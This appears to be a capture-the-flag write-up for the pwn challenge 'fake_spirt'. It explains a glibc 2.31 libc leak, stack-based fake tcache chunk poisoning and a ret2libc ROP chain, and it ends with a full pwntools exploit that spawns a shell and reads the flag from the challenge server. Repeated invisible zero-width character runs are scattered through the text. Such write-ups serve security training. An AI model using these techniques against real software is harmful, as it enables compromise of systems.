← Back to Writeups
CUSTOMMediumpwn

fake_spirt

XESXOR9/2/20264 min read
#pwn#custom#medium#fake_stack_chunk_tcache_poison#ret2libc_system#stack_rop_via_heap_alloc#unsorted_bin_libc_leak#linux

fake_spirt

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: fake_stack_chunk_tcache_poison, ret2libc_system, stack_rop_via_heap_alloc, unsorted_bin_libc_leak

Summary

Task: PIE binary with UAF read on unsorted bin chunk and free() on a stack address with user-controlled fake chunk header. Solution: leak libc via unsorted bin fd pointer, forge fake tcache chunk on stack, malloc returns stack pointer, overflow saved RIP via fgets for ret2libc ROP.

fake_spirt — spbctf

Description

pwn-season/09-heap3/fake_spirt

A 64-bit PIE ELF binary with libc-2.31.so provided. The binary allocates a large heap chunk, frees it, prints its contents (UAF leak), then reads user input onto the stack and frees a stack address. Finally it mallocs again and calls fgets with a large size limit, enabling a stack overflow through the heap allocator.

Remote: nc 109.233.56.90 11731 Flag location: /flag

Analysis

Binary protections

  • PIE: enabled
  • Partial RELRO: GOT partially writable
  • NX: enabled (no shellcode on stack/heap)
  • No canary: stack overflow won't be detected
  • No SHSTK/IBT: no CET shadow stack or indirect branch tracking ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Program flow (pseudocode)

c
int main() {
    setvbuf(stdout, NULL, 2, 0);
    char *p = malloc(0x409);      // chunk size 0x410 (stored at rbp-0x8)
    malloc(0);                     // guard chunk prevents top-chunk coalescing
    free(p);                       // p -> unsorted bin (too large for tcache)
    printf("fake spirt %s\n", p);  // UAF read: prints fd/bk from unsorted bin

    char buf[0x60];               // at rbp-0x60
    read(0, buf, 0x50);           // user controls rbp-0x60 through rbp-0x10
    free(buf + 0x10);             // free(rbp-0x50): frees a STACK fake chunk!
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    char *q = malloc(0x30);       // stored at rbp-0x10; serves from tcache[0x40]
    fgets(q, 0x239, stdin);       // writes 0x239 bytes into q -> stack overflow -> ROP
}

Key observations

  1. UAF libc leak: malloc(0x409) creates a 0x410-size chunk. After free(), it goes to the unsorted bin (too large for tcache's max 0x408). The fd pointer is set to main_arena + 96. The subsequent printf("%s", p) reads this pointer, leaking a libc address.

  2. Fake stack chunk: read(0, rbp-0x60, 0x50) lets us write 0x50 bytes onto the stack. Then free(rbp-0x50) treats rbp-0x50 as a heap chunk. glibc reads the chunk header at ptr - 0x10 = rbp-0x60, where the size field is at rbp-0x58 (our input offset 8). By setting size = 0x41, the fake chunk enters tcache bin for size 0x40. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  3. Stack return from malloc: malloc(0x30) requests size 0x40. Tcache serves our fake stack chunk at rbp-0x50. Now q points to the stack.

  4. ROP via fgets: fgets(q, 0x239, stdin) writes up to 0x239 bytes starting at rbp-0x50. The saved RIP is at rbp+0x8 (offset 0x58 from the write start). We overflow with a ret2libc ROP chain.

Libc offsets (libc-2.31.so, Ubuntu GLIBC 2.31-0ubuntu9)

SymbolOffset
__malloc_hook0x1ebb70
main_arena0x1ebb80 (__malloc_hook + 0x10)
Leak value0x1ebbe0 (main_arena + 96)
system0x55410
/bin/sh0x1b75aa
pop rdi; ret0x26b72
ret0x25679
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Parse the libc leak

The binary prints "fake spirt " followed by the freed chunk's fd pointer as a string. We read 6 bytes (48-bit address) and compute:

libc_base = leak - (main_arena + 96)
          = leak - (__malloc_hook + 0x10 + 96)
          = leak - 0x1ebbe0

Step 2: Forge fake tcache chunk on stack

Send 0x50 bytes via read():

  • Offset 0x00: 8 bytes padding (prev_size, don't care)
  • Offset 0x08: p64(0x41) — fake chunk size 0x40 with PREV_INUSE bit
  • Offset 0x10-0x4f: padding ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When free(rbp-0x50) executes, glibc sees a valid 0x40-size chunk and inserts it into tcache[0x40].

Step 3: ROP chain via fgets

malloc(0x30) returns the stack address rbp-0x50. fgets(q, 0x239, stdin) writes our ROP payload:

  • 0x50 bytes padding (fill buffer to saved RBP)
  • p64(0xdead) — overwrite saved RBP
  • p64(ret) — stack alignment for movaps
  • p64(pop_rdi) — pop rdi; ret gadget
  • p64(binsh) — address of "/bin/sh" in libc
  • p64(system) — system("/bin/sh")

When main() returns, execution flows through the ROP chain, spawning a shell. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Full exploit

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

exe = './fake_spirt'

if args.REMOTE:
    libc = ELF('./libc-2.31.so')
    io = remote('109.233.56.90', 11731)
else:
    libc = ELF(args.LIBC or './libc-local.so')
    io = process(exe)

# ---- Stage 1: leak libc from freed unsorted chunk printed via %s ----
io.recvuntil(b'fake spirt ')
leak = io.recvline().rstrip(b'\n')
leak = u64(leak[:6].ljust(8, b'\x00'))
log.info('raw leak: %#x', leak)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main_arena = libc.sym['__malloc_hook'] + 0x10
libc.address = leak - (main_arena + 96)
log.info('libc base: %#x', libc.address)
assert libc.address & 0xfff == 0, "libc base not page aligned - bad leak"

# ---- Stage 2: read() sets fake chunk size at input offset 8 ----
payload = flat({0: b'A'*8, 8: p64(0x41)}, length=0x50)
io.send(payload)

# ---- Stage 3: ROP ----
pop_rdi = next(libc.search(asm('pop rdi; ret'), executable=True))
ret     = next(libc.search(asm('ret'), executable=True))
binsh   = next(libc.search(b'/bin/sh\x00'))
system  = libc.sym['system']
log.info('pop_rdi=%#x ret=%#x binsh=%#x system=%#x', pop_rdi, ret, binsh, system)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

rop  = b'B'*0x50
rop += p64(0xdead)
rop += p64(ret)
rop += p64(pop_rdi)
rop += p64(binsh)
rop += p64(system)

io.sendline(rop)

io.sendline(b'echo PWNED; id; cat /flag')
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍